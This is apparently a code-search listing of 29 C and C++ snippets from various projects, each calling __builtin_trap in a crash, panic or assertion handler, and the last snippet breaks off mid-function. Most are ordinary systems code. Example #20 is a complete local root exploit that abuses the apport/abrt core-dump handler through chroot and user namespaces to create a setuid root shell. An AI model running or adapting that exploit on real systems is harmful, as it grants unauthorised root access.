コード例 #1
0
ファイル: Assertions.cpp プロジェクト: VDVsx/qtwebkit5
void WTFCrash()
{
    if (globalHook)
        globalHook();

    WTFReportBacktrace();
    *(int *)(uintptr_t)0xbbadbeef = 0;
    // More reliable, but doesn't say BBADBEEF.
#if COMPILER(CLANG)
    __builtin_trap();
#else
    ((void(*)())0)();
#endif
}
コード例 #2
0
ファイル: net_afl.cpp プロジェクト: turol/webquake2
void NET_Init (void)
{
	Cvar_SetValue("nostdin", 1.0f);

	NET_Common_Init ();

	cvar_t *afl_fuzz_file = Cvar_Get("afl_fuzz_file", NULL, 0);
	if (!afl_fuzz_file) {
		Com_Printf("afl_fuzz_file not set\n", LOG_NET);
		// so we stop uselessly running the fuzzer
		__builtin_trap();
	}
	fuzzFileName = afl_fuzz_file->string;

	cvar_t *afl_fuzz_out_file = Cvar_Get("afl_fuzz_out_file", NULL, 0);
	if (afl_fuzz_out_file) {
		fuzzOut = fopen(afl_fuzz_out_file->string, "wb");
		if (!fuzzOut) {
			Com_Printf("Failed to open afl_fuzz_out_file \"%s\" %d \"%s\" \n", LOG_NET, afl_fuzz_out_file->string, errno, strerror(errno));
			// so we stop uselessly running the fuzzer
			__builtin_trap();
		}
	}
}
コード例 #3
0
ファイル: m_libcassert.c プロジェクト: AmesianX/pathgrind
/* Pull down the entire world */
void VG_(exit)( Int status )
{
#if defined(VGO_linux)
   (void)VG_(do_syscall1)(__NR_exit_group, status );
#elif defined(VGO_darwin)
   (void)VG_(do_syscall1)(__NR_exit, status );
#else
#  error Unknown OS
#endif
   /*NOTREACHED*/
   // We really shouldn't reach here.  Just in case we do, use some very crude
   // methods to force abort
   __builtin_trap();
   *(volatile Int*)0 = 'x';
}
コード例 #4
0
ファイル: tclPanic.c プロジェクト: primitivorm/tcl
void
Tcl_PanicVA(
    const char *format,		/* Format string, suitable for passing to
				 * fprintf. */
    va_list argList)		/* Variable argument list. */
{
    char *arg1, *arg2, *arg3;	/* Additional arguments (variable in number)
				 * to pass to fprintf. */
    char *arg4, *arg5, *arg6, *arg7, *arg8;

    arg1 = va_arg(argList, char *);
    arg2 = va_arg(argList, char *);
    arg3 = va_arg(argList, char *);
    arg4 = va_arg(argList, char *);
    arg5 = va_arg(argList, char *);
    arg6 = va_arg(argList, char *);
    arg7 = va_arg(argList, char *);
    arg8 = va_arg(argList, char *);

    if (panicProc != NULL) {
	panicProc(format, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8);
#ifdef _WIN32
    } else if (IsDebuggerPresent()) {
	tclWinDebugPanic(format, arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8);
#endif
    } else {
	fprintf(stderr, format, arg1, arg2, arg3, arg4, arg5, arg6, arg7,
		arg8);
	fprintf(stderr, "\n");
	fflush(stderr);
#if defined(_WIN32) || defined(__CYGWIN__)
#   if defined(__GNUC__)
	__builtin_trap();
#   elif defined(_WIN64)
	__debugbreak();
#   elif defined(_MSC_VER)
	_asm {int 3}
#   else
	DebugBreak();
#   endif
#endif
#if defined(_WIN32)
	ExitProcess(1);
#else
	abort();
#endif
    }
}
コード例 #5
0
ファイル: Question.c プロジェクト: strager/b-cc
static PyObject *
b_py_question_uuid_(
    PyObject *self,
    PyObject *args,
    PyObject *kwargs) {
  static char *keywords[] = {NULL};
  if (!PyArg_ParseTupleAndKeywords(
      args, kwargs, "", keywords)) {
    return NULL;
  }
  struct B_PyQuestion *q_py = b_py_question(self);
  if (!q_py) {
    return NULL;
  }
  __builtin_trap();
}
コード例 #6
0
void	CADebuggerStop(void)
{
	#if	CoreAudio_Debug
		#if	TARGET_API_MAC_OSX
			if(CAIsDebuggerAttached())
			{
				#if defined(__i386__) || defined(__x86_64__)
					asm("int3");
				#else
					__builtin_trap();
				#endif
			}
		#else
			__debugbreak();
		#endif
	#endif
}
コード例 #7
0
void mpack_break_hit(const char* message) {
    MPACK_UNUSED(message);

    #if MPACK_STDIO
    fprintf(stderr, "%s\n", message);
    #endif

    #if defined(__GCC__) || defined(__clang__)
    __builtin_trap();
    #elif defined(WIN32)
    __debugbreak();
    #elif MPACK_STDLIB
    abort();
    #elif defined(__GCC__) || defined(__clang__)
    __builtin_abort();
    #endif
}
コード例 #8
0
static inline void
_os_assumes_log_ctx_impl(os_log_callout_t callout, void *ctx, uint64_t code)
{
	_SIMPLE_STRING asl_message = _simple_asl_msg_new();
	if (asl_message) {
		Dl_info info;
		char message[256];
		_os_construct_message(code, asl_message, &info, message, sizeof(message));

		(void)callout(asl_message, ctx, message);
		_simple_sfree(asl_message);
	}

	if (_os_abort_on_assumes()) {
		__builtin_trap();
	}
}
コード例 #9
0
ファイル: m_libcassert.c プロジェクト: michas2/l4re-snapshot
/* Pull down the entire world */
void VG_(exit)( Int status )
{
#if defined(VGO_linux)
   (void)VG_(do_syscall1)(__NR_exit_group, status );
#elif defined(VGO_aix5) || defined(VGO_darwin)
   (void)VG_(do_syscall1)(__NR_exit, status );
#elif defined(VGO_l4re)
   VG_(printf)("Valgrind exitting. Status = %lx\n", status);
   enter_kdebug("VG_(exit)");
   l4_sleep_forever();
#else
#  error Unknown OS
#endif
   /*NOTREACHED*/
   // We really shouldn't reach here.  Just in case we do, use some very crude
   // methods to force abort
   __builtin_trap();
   *(volatile Int*)0 = 'x';
}
コード例 #10
0
ファイル: adb.cpp プロジェクト: FublyaGoth/r2d2b2g
void dump_thread_tag() {
  adb_mutex_lock(&threads_active_lock);
  int didDump = 0;
  pthread_t currentThread = pthread_self();
  int len = __adb_threads_active->length;
  for (int i = 0; i < len; i++) {
    if (pthread_equal(currentThread, *__adb_threads_active->base[i])) {
      D("CURRENT THREAD IS %s\n", __adb_tags_active->base[i]);
      didDump = 1;
      adb_mutex_unlock(&threads_active_lock);
      return;
    }
  }

  if (!didDump) {
    // die
    __builtin_trap();
  }
  adb_mutex_unlock(&threads_active_lock);
}
コード例 #11
0
missing_mandatory_interface (const struct nacl_interface *i)
{
  static const char before[] =
    "FATAL: NaCl IRT interface query failed for essential interface \"";
  static const char after[] =
    "\"\n";

  if (__nacl_irt_fdio.write != NULL)
    {
      size_t wrote;
      (*__nacl_irt_fdio.write) (2, before, sizeof before - 1, &wrote);
      (*__nacl_irt_fdio.write) (2, i->name, i->namelen - 1, &wrote);
      (*__nacl_irt_fdio.write) (2, after, sizeof after - 1, &wrote);
    }

  if (__nacl_irt_basic.exit != NULL)
    (*__nacl_irt_basic.exit) (-1);

  __builtin_trap ();
}
コード例 #12
0
ファイル: start.c プロジェクト: dsagal/native_client
/*
 * This is the true entry point for untrusted code.
 * See nacl_startup.h for the layout at the argument pointer.
 */
void _start(uint32_t *info) {
  void (*fini)(void) = nacl_startup_fini(info);
  int argc = nacl_startup_argc(info);
  char **argv = nacl_startup_argv(info);
  char **envp = nacl_startup_envp(info);
  Elf32_auxv_t *auxv = nacl_startup_auxv(info);

  environ = envp;

  /*
   * Record the approximate address from which the stack grows
   * (usually downwards) so that libpthread can report it.  Taking the
   * address of any stack-allocated variable will work here.
   */
  __nacl_initial_thread_stack_end = &info;

  __libnacl_irt_init(auxv);

  /*
   * If we were started by a dynamic linker, then it passed its finalizer
   * function here.  For static linking, this is always NULL.
   */
  if (fini != NULL)
    atexit(fini);

  atexit(&__libc_fini_array);

  __pthread_initialize();

  __libc_init_array();

  int (*main_ptr)(int argc, char **argv, char **envp) = &__nacl_main;
  if (main_ptr == NULL)
    main_ptr = &main;

  exit(main_ptr(argc, argv, envp));

  /*NOTREACHED*/
  __builtin_trap();
}
コード例 #13
0
ファイル: setup.c プロジェクト: mikesun/xen-cow-checkpointing
void __init __start_xen_ppc(
    ulong r3, ulong r4, ulong r5, ulong r6, ulong r7, ulong orig_msr)
{
    /* clear bss */
    memset(__bss_start, 0, (ulong)_end - (ulong)__bss_start);

    if (r5) {
        /* We came from Open Firmware. */
        boot_of_init(r5, orig_msr);
        oftree = (ulong)boot_of_devtree(); /* Copy the device tree. */
        /* Use the device tree to find the Xen console. */
        boot_of_serial((void *)oftree);
        boot_of_finish(); /* End firmware. */
    } else {
        /* XXX handle flat device tree here */
        __builtin_trap();
    }

    ofd_bootargs();

    if (r3 == MB2_BOOTLOADER_MAGIC) {
        /* Get dom0 info from multiboot structures. */
        parse_multiboot(r4);
    }

    if ((dom0_len == 0) && r3 && r4) {
        /* Maybe dom0's location handed to us in registers. */
        dom0_addr = r3;
        dom0_len = r4;
    }

    if (dom0_len == 0) {
        /* Dom0 had better be built in. */
        dom0_addr = (ulong)dom0_start;
        dom0_len = (ulong)dom0_size;
    }

    __start_xen();
}
コード例 #14
0
static inline void
_os_assumes_log_impl(uint64_t code)
{
	_SIMPLE_STRING asl_message = _simple_asl_msg_new();
	if (asl_message) {
		Dl_info info;
		char message[256];
		_os_construct_message(code, asl_message, &info, message, sizeof(message));
		if (!_os_log_redirect(info.dli_fbase, message)) {
			_os_trace_error_str(message);
			_simple_asl_msg_set(asl_message, "Level", "Error");
			_simple_asl_msg_set(asl_message, "Message", "");
			_simple_asl_send(asl_message);
		}

		_simple_sfree(asl_message);
	}

	if (_os_abort_on_assumes()) {
		__builtin_trap();
	}
}
コード例 #15
0
void OSHalt(const char* format, ...) 
{
	OSTermSetTextColor(BRIGHT, RED, VT_DEFAULT);
	printf(" *** HALT:  ");
	OSTermSetTextColor(RESET, RED, VT_DEFAULT);
	va_list	list;
	va_start(list, format);
	vfprintf(stdout, format, list);
	va_end(list);
	
	printf("\n");
	
	OSTermSetTextColor(BRIGHT, RED, VT_DEFAULT);
	printf(" *** Invoking 'trap'  \n");
	
	OSTermResetAttributes();
	
	fflush(stdout);
	
	/* die */
	__builtin_trap();
	_exit(1); /* exit */
}
コード例 #16
0
ファイル: tclWinError.c プロジェクト: AlexShiLucky/bitkeeper
TCL_NORETURN void
tclWinDebugPanic(
    const char *format, ...)
{
#define TCL_MAX_WARN_LEN 1024
    va_list argList;
    va_start(argList, format);

    if (IsDebuggerPresent()) {
	WCHAR msgString[TCL_MAX_WARN_LEN];
	char buf[TCL_MAX_WARN_LEN * TCL_UTF_MAX];

	vsnprintf(buf, sizeof(buf), format, argList);
	msgString[TCL_MAX_WARN_LEN-1] = L'\0';
	MultiByteToWideChar(CP_UTF8, 0, buf, -1, msgString, TCL_MAX_WARN_LEN);

	/*
	 * Truncate MessageBox string if it is too long to not overflow the buffer.
	 */

	if (msgString[TCL_MAX_WARN_LEN-1] != L'\0') {
	    memcpy(msgString + (TCL_MAX_WARN_LEN - 5), L" ...", 5 * sizeof(WCHAR));
	}
	OutputDebugStringW(msgString);
    } else {
	vfprintf(stderr, format, argList);
	fprintf(stderr, "\n");
	fflush(stderr);
    }
#   if defined(__GNUC__)
    __builtin_trap();
#   else
    DebugBreak();
#   endif
    abort();
}
コード例 #17
0
ファイル: linux-atomic.c プロジェクト: LihuaWu/gcc
static inline long
__kernel_cmpxchg2 (void * oldval, void * newval, void *mem, int val_size)
{
  register unsigned long lws_mem asm("r26") = (unsigned long) (mem);
  register long lws_ret   asm("r28");
  register long lws_errno asm("r21");
  register unsigned long lws_old asm("r25") = (unsigned long) oldval;
  register unsigned long lws_new asm("r24") = (unsigned long) newval;
  register int lws_size asm("r23") = val_size;
  asm volatile (	"ble	0xb0(%%sr2, %%r0)	\n\t"
			"ldi	%2, %%r20		\n\t"
	: "=r" (lws_ret), "=r" (lws_errno)
	: "i" (2), "r" (lws_mem), "r" (lws_old), "r" (lws_new), "r" (lws_size)
	: "r1", "r20", "r22", "r29", "r31", "fr4", "memory"
  );
  if (__builtin_expect (lws_errno == -EFAULT || lws_errno == -ENOSYS, 0))
    __builtin_trap ();

  /* If the kernel LWS call fails, retrun EBUSY */
  if (!lws_errno && lws_ret)
    lws_errno = -EBUSY;

  return lws_errno;
}
コード例 #18
0
ファイル: Main.c プロジェクト: strager/b-cc
static PyObject *
b_py_main_new_(
    PyTypeObject *type,
    PyObject *args,
    PyObject *kwargs) {
  assert(type == &b_py_main_type_);
  static char *keywords[]
    = {"database", "run_loop", "callback", NULL};
  PyObject *database;
  PyObject *run_loop;
  PyObject *callback;
  if (!PyArg_ParseTupleAndKeywords(
      args,
      kwargs,
      "OOO",
      keywords,
      &database,
      &run_loop,
      &callback)) {
    return NULL;
  }
  struct B_PyDatabase *db_py = b_py_database(database);
  if (!db_py) {
    return NULL;
  }
  struct B_PyRunLoop *rl_py = b_py_run_loop(run_loop);
  if (!rl_py) {
    return NULL;
  }
  if (!PyCallable_Check(callback)) {
    PyErr_SetString(
      PyExc_TypeError, "callback must be callable");
    return NULL;
  }
  PyObject *self = b_py_main_type_.tp_alloc(
    &b_py_main_type_, 0);
  if (!self) {
    return NULL;
  }
  struct B_PyMain *main_py = (struct B_PyMain *) self;
  struct B_RunLoop *rl = b_py_run_loop_get(rl_py);
  if (!rl) {
    return NULL;
  }
  struct B_Error e;
  if (!b_main_allocate(
      db_py->database,
      rl,
      b_py_main_callback_,
      main_py,
      &main_py->main,
      &e)) {
    b_py_raise(e);
    __builtin_trap();
    return NULL;
  }
  main_py->database = database;
  Py_INCREF(database);
  main_py->run_loop = run_loop;
  Py_INCREF(run_loop);
  main_py->callback = callback;
  Py_INCREF(callback);
  return self;
}
コード例 #19
0
ファイル: cxx_runtime.cpp プロジェクト: cpehle/NyuziProcessor
extern "C" void __cxa_pure_virtual()
{
    puts("Pure Virtual Function Call");
    __builtin_trap();
}
コード例 #20
0
ファイル: 36746.c プロジェクト: 0x24bin/exploit-database
int main(int argc, char **argv)
{
    int status;
    Elf32_Phdr *hdr;
    pid_t wrapper;
    pid_t init;
    pid_t subprocess;
    unsigned i;

    // Verify this is a static executable by checking the program headers for a
    // dynamic segment. Originally I thought just checking AT_BASE would work,
    // but that isnt reliable across many kernels.
    hdr = (void *) getauxval(AT_PHDR);

    // If we find any PT_DYNAMIC, then this is probably not a static binary.
    for (i = 0; i < getauxval(AT_PHNUM); i++) {
        if (hdr[i].p_type == PT_DYNAMIC) {
            errx(EXIT_FAILURE, "you *must* compile with -static");
        }
    }

    // If execution reached here, it looks like we're a static executable. If
    // I'm root, then we've convinced the core handler to run us, so create a
    // setuid root executable that can be used outside the chroot.
    if (getuid() == 0) {
        if (chown("sh", 0, 0) != 0)
            exit(EXIT_FAILURE);

        if (chmod("sh", 04755) != 0)
            exit(EXIT_FAILURE);

        return EXIT_SUCCESS;
    }

    // If I'm not root, but euid is 0, then the exploit worked and we can spawn
    // a shell and cleanup.
    if (setuid(0) == 0) {
        system("id");
        system("rm -rf exploit");
        execlp("sh", "sh", NULL);

        // Something went wrong.
        err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
    }

    // It looks like the exploit hasn't run yet, so create a chroot.
    if (mkdir("exploit", 0755) != 0
     || mkdir("exploit/usr", 0755) != 0
     || mkdir("exploit/usr/share", 0755) != 0
     || mkdir("exploit/usr/share/apport", 0755) != 0
     || mkdir("exploit/usr/libexec", 0755) != 0) {
        err(EXIT_FAILURE, "failed to create chroot directory");
    }

    // Create links to the exploit locations we need.
    if (link(*argv, "exploit/sh") != 0
     || link(*argv, "exploit/usr/share/apport/apport") != 0        // Ubuntu
     || link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) {  // Fedora
        err(EXIT_FAILURE, "failed to create required hard links");
    }

    // Create a subprocess so we don't enter the new namespace.
    if ((wrapper = fork()) == 0) {

        // In the child process, create a new pid and user ns. The pid
        // namespace is only needed on Ubuntu, because they check for %P != %p
        // in their core handler. On Fedora, just a user ns is sufficient.
        if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0)
            err(EXIT_FAILURE, "failed to create new namespace");

        // Create a process in the new namespace.
        if ((init = fork()) == 0) {

            // Init (pid 1) signal handling is special, so make a subprocess to
            // handle the traps.
            if ((subprocess = fork()) == 0) {
                // Change /proc/self/root, which we can do as we're privileged
                // within the new namepace.
                if (chroot("exploit") != 0) {
                    err(EXIT_FAILURE, "chroot didnt work");
                }

                // Now trap to get the core handler invoked.
                __builtin_trap();

                // Shouldn't happen, unless user is ptracing us or something.
                err(EXIT_FAILURE, "coredump failed, were you ptracing?");
            }

            // If the subprocess exited with an abnormal signal, then everything worked.
            if (waitpid(subprocess, &status, 0) == subprocess)    
                return WIFSIGNALED(status)
                        ? EXIT_SUCCESS
                        : EXIT_FAILURE;

            // Something didn't work.
            return EXIT_FAILURE;
        }

        // The new namespace didn't work.
        if (waitpid(init, &status, 0) == init)
            return WIFEXITED(status) && WEXITSTATUS(status) == EXIT_SUCCESS
                    ? EXIT_SUCCESS
                    : EXIT_FAILURE;

        // Waitpid failure.
        return EXIT_FAILURE;
    }

    // If the subprocess returned sccess, the exploit probably worked, reload
    // with euid zero.
    if (waitpid(wrapper, &status, 0) == wrapper) {
        // All done, spawn root shell.
        if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
            execl(*argv, "w00t", NULL);
        }
    }

    // Unknown error.
    errx(EXIT_FAILURE, "unexpected result, cannot continue");
}
コード例 #21
0
ファイル: Crash.cpp プロジェクト: 191919/folly
int main() {
  folly::symbolizer::installFatalSignalHandler();
  __builtin_trap();
  return 0;
}
コード例 #22
0
ファイル: ssp.c プロジェクト: 0mp/freebsd
static void
fail (const char *msg1, size_t msg1len, const char *msg3)
{
#ifdef __GNU_LIBRARY__
  extern char * __progname;
#else
  static const char __progname[] = "";
#endif
  int fd;

  /* Print error message directly to the tty.  This avoids Bad Things
     happening if stderr is redirected.  */
  fd = open (_PATH_TTY, O_WRONLY);
  if (fd != -1)
    {
      static const char msg2[] = " terminated\n";
      size_t progname_len, len;
      char *buf, *p;

      progname_len = strlen (__progname);
      len = msg1len + progname_len + sizeof(msg2)-1 + 1;
      p = buf = alloca (len);

      memcpy (p, msg1, msg1len);
      p += msg1len;
      memcpy (p, __progname, progname_len);
      p += progname_len;
      memcpy (p, msg2, sizeof(msg2));

      while (len > 0)
        {
          ssize_t wrote = write (fd, buf, len);
          if (wrote < 0)
            break;
          buf += wrote;
          len -= wrote;
        }
      close (fd);
    }

#ifdef HAVE_SYSLOG_H
  /* Only send the error to syslog if there was no tty available.  */
  else
    syslog (LOG_CRIT, "%s", msg3);
#endif /* HAVE_SYSLOG_H */

  /* Try very hard to exit.  Note that signals may be blocked preventing
     the first two options from working.  The use of volatile is here to
     prevent optimizers from "knowing" that __builtin_trap is called first,
     and that it doesn't return, and so "obviously" the rest of the code
     is dead.  */
  {
    volatile int state;
    for (state = 0; ; state++)
      switch (state)
        {
        case 0:
          __builtin_trap ();
          break;
        case 1:
          *(volatile int *)-1L = 0;
          break;
        case 2:
          _exit (127);
          break;
        }
  }
}
コード例 #23
0
/**
 * @internal
 * 64-bit implementation of plcrash_async_thread_state_set_reg()
 */
static void plcrash_async_thread_state_set_reg_64 (apigee_plcrash_async_thread_state_t *thread_state, apigee_plcrash_regnum_t regnum, apigee_plcrash_greg_t reg) {
    apigee_plcrash_async_thread_state_t *ts = thread_state;
    
    switch (regnum) {
        case APIGEE_PLCRASH_X86_64_RAX:
            SETGEN(rax, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_RBX:
            SETGEN(rbx, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_RCX:
            SETGEN(rcx, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_RDX:
            SETGEN(rdx, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_RDI:
            SETGEN(rdi, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_RSI:
            SETGEN(rsi, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_RBP:
            SETGEN(rbp, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_RSP:
            SETGEN(rsp, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_R8:
            SETGEN(r8, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_R9:
            SETGEN(r9, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_R10:
            SETGEN(r10, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_R11:
            SETGEN(r11, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_R12:
            SETGEN(r12, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_R13:
            SETGEN(r13, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_R14:
            SETGEN(r14, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_R15:
            SETGEN(r15, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_RIP:
            SETGEN(rip, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_RFLAGS:
            SETGEN(rflags, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_CS:
            SETGEN(cs, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_FS:
            SETGEN(fs, thread.uts.ts64, ts, regnum, reg);
            
        case APIGEE_PLCRASH_X86_64_GS:
            SETGEN(gs, thread.uts.ts64, ts, regnum, reg);
            
        default:
            // Unsupported register
            __builtin_trap();
    }    
}
コード例 #24
0
ファイル: core.cpp プロジェクト: saltstar/smartnix
[[noreturn]] static void device_invalid_fatal(void* ctx) {
    printf("devhost: FATAL: zx_device_t used after destruction.\n");
    __builtin_trap();
}
コード例 #25
0
ファイル: irt_basic.c プロジェクト: dsagal/native_client
static void nacl_irt_exit(int status) {
  NACL_SYSCALL(exit)(status);
  __builtin_trap();
}
コード例 #26
0
ファイル: logger.cpp プロジェクト: winmad/mitsuba
void Logger::log(ELogLevel level, const Class *theClass,
	const char *file, int line, const char *fmt, ...) {

	if (level < m_logLevel)
		return;

	char tmp[512], *msg = tmp;
	va_list iterator;

#if defined(__WINDOWS__)
	va_start(iterator, fmt);
	size_t size = _vscprintf(fmt, iterator) + 1;

	if (size >= sizeof(tmp))
		msg = new char[size];

	vsnprintf_s(msg, size, size-1, fmt, iterator);
	va_end(iterator);
#else
	va_start(iterator, fmt);
	size_t size = vsnprintf(tmp, sizeof(tmp), fmt, iterator);
	va_end(iterator);

	if (size >= sizeof(tmp)) {
		/* Overflow! -- dynamically allocate memory */
		msg = new char[size+1];
		va_start(iterator, fmt);
		vsnprintf(msg, size+1, fmt, iterator);
		va_end(iterator);
	}
#endif

	if (m_formatter == NULL) {
		std::cerr << "PANIC: Logging has not been properly initialized!" << endl;
		exit(-1);
	}

	std::string text = m_formatter->format(level, theClass,
		Thread::getThread(), msg, file, line);

	if (msg != tmp)
		delete[] msg;

	if (level < m_errorLevel) {
		LockGuard lock(m_mutex);
		if (level >= EWarn)
			m_warningCount++;
		for (size_t i=0; i<m_appenders.size(); ++i)
			m_appenders[i]->append(level, text);
	} else {
#if defined(__LINUX__)
		/* A critical error occurred: trap if we're running in a debugger */

		char exePath[PATH_MAX];
		pid_t ppid = getppid();
		memset(exePath, 0, PATH_MAX);
		if (readlink(formatString("/proc/%i/exe", ppid).c_str(), exePath, PATH_MAX) != -1) {
			if (!strcmp(exePath, "/usr/bin/gdb")) {
#if defined(__i386__) || defined(__x86_64__)
				__asm__ ("int $3");
#else
				__builtin_trap();
#endif
			}
		}
#elif defined(__OSX__)
		int                 mib[4];
		struct kinfo_proc   info;
		size_t              size;
		info.kp_proc.p_flag = 0;
		mib[0] = CTL_KERN;
		mib[1] = KERN_PROC;
		mib[2] = KERN_PROC_PID;
		mib[3] = getpid();
		size = sizeof(info);
		sysctl(mib, sizeof(mib) / sizeof(*mib), &info, &size, NULL, 0);
		bool runningInDebugger = (info.kp_proc.p_flag & P_TRACED) != 0;

		if (runningInDebugger)
			__asm__ ("int $3");
#elif defined(__WINDOWS__)
		if (IsDebuggerPresent())
			__debugbreak();
#endif

		DefaultFormatter fmt;
		fmt.setHaveDate(false);
		fmt.setHaveLogLevel(false);
		text = fmt.format(level, theClass,
			Thread::getThread(), msg, file, line);
		throw std::runtime_error(text);
	}
}
コード例 #27
0
ファイル: Database.c プロジェクト: strager/b-cc
static PyObject *
b_py_database_check_all_(
    PyObject *self,
    PyObject *args,
    PyObject *kwargs) {
  static char *keywords[] = {"question_classes", NULL};
  PyObject *question_classes;
  if (!PyArg_ParseTupleAndKeywords(
      args, kwargs, "O", keywords, &question_classes)) {
    return NULL;
  }
  struct B_PyDatabase *db_py = b_py_database(self);
  if (!db_py) {
    return NULL;
  }
  struct B_QuestionVTable const **vtables;
  size_t vtable_count;
  if (PySequence_Check(question_classes)) {
    ssize_t length_signed
      = PySequence_Length(question_classes);
    if (length_signed == -1) {
      __builtin_trap();
    }
    if (length_signed < -1) {
      __builtin_trap();
    }
    vtable_count = (size_t) length_signed;
    // TODO(strager): Check for overflow.
    vtables = PyMem_Malloc(sizeof(*vtables) * vtable_count);
    if (!vtables) {
      __builtin_trap();
    }
    for (size_t i = 0; i < vtable_count; ++i) {
      assert(i < SSIZE_MAX);
      PyObject *o = PySequence_GetItem(
        question_classes, (ssize_t) i);
      if (!PyType_Check(o)) {
        PyErr_SetString(
          PyExc_TypeError, "Expected Question type");
        __builtin_trap();
      }
      struct B_QuestionVTable const *vtable
        = b_py_question_class_get_native_vtable(
          (PyTypeObject *) o);
      if (!vtable) {
        __builtin_trap();
      }
      vtables[i] = vtable;
      Py_DECREF(o);
    }
  } else if (PyIter_Check(question_classes)) {
    // TODO(strager)
    __builtin_trap();
  } else {
    PyErr_SetString(
      PyExc_TypeError,
      "question_classes must be iterable");
    return NULL;
  }
  struct B_Error e;
  if (!b_database_check_all(
      db_py->database, vtables, vtable_count, &e)) {
    PyMem_Free(vtables);
    b_py_raise(e);
    return NULL;
  }
  PyMem_Free(vtables);
  Py_RETURN_NONE;
}
コード例 #28
0
/**
 * @internal
 * 64-bit implementation of plcrash_async_thread_state_get_reg()
 */
static apigee_plcrash_greg_t plcrash_async_thread_state_get_reg_64 (const apigee_plcrash_async_thread_state_t *thread_state, apigee_plcrash_regnum_t regnum) {
    const apigee_plcrash_async_thread_state_t *ts = thread_state;

    switch (regnum) {
        case APIGEE_PLCRASH_X86_64_RAX:
            RETGEN(rax, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_RBX:
            RETGEN(rbx, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_RCX:
            RETGEN(rcx, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_RDX:
            RETGEN(rdx, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_RDI:
            RETGEN(rdi, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_RSI:
            RETGEN(rsi, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_RBP:
            RETGEN(rbp, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_RSP:
            RETGEN(rsp, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_R8:
            RETGEN(r8, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_R9:
            RETGEN(r9, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_R10:
            RETGEN(r10, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_R11:
            RETGEN(r11, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_R12:
            RETGEN(r12, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_R13:
            RETGEN(r13, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_R14:
            RETGEN(r14, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_R15:
            RETGEN(r15, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_RIP:
            RETGEN(rip, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_RFLAGS:
            RETGEN(rflags, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_CS:
            RETGEN(cs, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_FS:
            RETGEN(fs, thread.uts.ts64, ts);
            
        case APIGEE_PLCRASH_X86_64_GS:
            RETGEN(gs, thread.uts.ts64, ts);
            
        default:
            // Unsupported register
            __builtin_trap();
    }

    /* Should not be reachable */
    return 0;
}
コード例 #29
0
/**
 * @internal
 * 32-bit implementation of plcrash_async_thread_state_get_reg()
 */
static apigee_plcrash_greg_t plcrash_async_thread_state_get_reg_32 (const apigee_plcrash_async_thread_state_t *thread_state, apigee_plcrash_regnum_t regnum) {
    const apigee_plcrash_async_thread_state_t *ts = thread_state;

    /* All word-sized registers */
    switch (regnum) {
        case APIGEE_PLCRASH_X86_EAX:
            RETGEN(eax, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_EDX:
            RETGEN(edx, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_ECX:
            RETGEN(ecx, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_EBX:
            RETGEN(ebx, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_EBP:
            RETGEN(ebp, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_ESI:
            RETGEN(esi, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_EDI:
            RETGEN(edi, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_ESP:
            RETGEN(esp, thread.uts.ts32, ts);
            
        case APIGEE_PLCRASH_X86_EIP:
            RETGEN(eip, thread.uts.ts32, ts);
            
